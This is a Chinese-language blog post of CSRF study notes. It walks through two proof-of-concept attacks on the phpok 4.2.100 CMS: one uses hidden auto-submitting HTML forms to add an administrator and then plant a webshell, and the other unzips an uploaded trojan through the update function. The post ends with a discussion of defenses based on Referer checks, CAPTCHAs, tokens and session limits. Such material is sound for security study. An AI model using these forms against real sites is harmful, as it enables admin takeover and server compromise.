csrf学习笔记

  CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

  CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求。

  

   CSRF能做的事情大概如下:

  1)篡改目标网站上的用户数据;    
  2)盗取用户隐私数据;
  3)作为其他攻击向量的辅助攻击手法;
  4)传播CSRF蠕虫。

   

(1)版本4.2.100:

在phpok该版本的后台提交如下POST请求可以添加管理员:

1 POST /phpok/admin.php?c=admin&f=save HTTP/1.1
2 Host: www.goal.com
3 4 Cookie: …
5 (空一行)
6 id=…&accont=…&pass=…&status=…&if_system=…

 由以上http头部可看出,此为添加管理员的请求,只有管理员能够执行。

攻击者可以构造如下页面:

 1 <html>
 2     <div style="display:none">
 3         <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
 4             <input type="hidden" name="id" value=""/>
 5             <input type="hidden" name="account" value=""/>
 6             <input type="hidden" name="pass" value=""/>
 7             <input type="hidden" name="email" value=""/>
 8             <input type="hidden" name="status" value=""/>
 9             <input type="hidden" name="if_system" value=""/>
10             <input type="submit" name="up" value="submit"/>
11         </form>
12         <script>
13             var t = document.poc;
14             t.account.value="wooyun";
15             t.pass.value="123456";
16             t.status.value="1";
17             t.if_system.value="1";
18             document.poc.submit();
19         </script>
20     </div>
21 </html>

当管理员访问攻击者制作的页面时,此时会通过javascript脚本来生成一个表单对象,来通过表单标签的id属性来调用表单,为表单赋值。

此时添加账户名t.account.value = "wooyun",此时新添加的管理员的名字将成为wooyun。

赋值结束后将通过document.poc.submit()函数来自动提交表单到受攻击的站点,此时由于管理员对于被攻击站点已经保存有cookie,则此时会直接添加新的管理员。

攻击发生之前:

管理员在登录的情况下访问攻击者的页面之后,如图:

可以看到,成功添加了一名管理员。

攻击到这里就结束了吗?并没有!攻击者利用CSRF漏洞成功进入了后台,他还要想办法GetShell!

在后台风格管理-创建模板文件的地方添加一个模板,通过抓包改包的方式绕过前端对文件类型的判断(由于判断文件类型是通过前端js,所以可通过抓包改包),如图:

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件:

 

然后在编辑文件内容为一句话木马即可:

 

 

 2)还是4.2.100...

刚才我们是通过CSRF先进入后台,然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样?

phpok的前台可以上传.zip文件,我们把木马文件test.php压缩为test.zip;

注册一个账号,进入修改资料页面;

选择一个正常的图片,截获数据,如图:

 

 

 

 

然后修改数据,如图:

 

成功上传.zip文件,记录下文件id号,这里是739。

在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞,演示如图

于是攻击者可以构造如下页面:

 1 <html>
 2     <form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
 3         <input type="hidden" name="zipfile" value=""/>
 4         <input type="hidden" name="file" value=""/>
 5         <input type="submit" name="up" value="submit"/>
 6     </form>
 7     <script>
 8         var t = document.poc;
 9         t.zipfile.value="739";
10         t.file.value="739";
11         document.poc.submit();
12     </script>
13 </html>

管理员登录后台后访问攻击者的页面,如图:

 

 

可以看到我们的木马文件已经上传到服务器上了。

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

 

CSRF的防御:

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

  1. 添加验证码;

  2. 使用一次性token

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下:

  1. 验证Referer;(Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段)

  2. 使用验证码;(由机器发出请求,验证码不可预测)

  3. 使用CSRF token;(用户拥有令牌token,但是攻击者没有)

  4. 限制Session生命周期。

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

 

 



posted @ 2017-07-14 17:47  tr1ple  阅读(419)  评论(0编辑  收藏  举报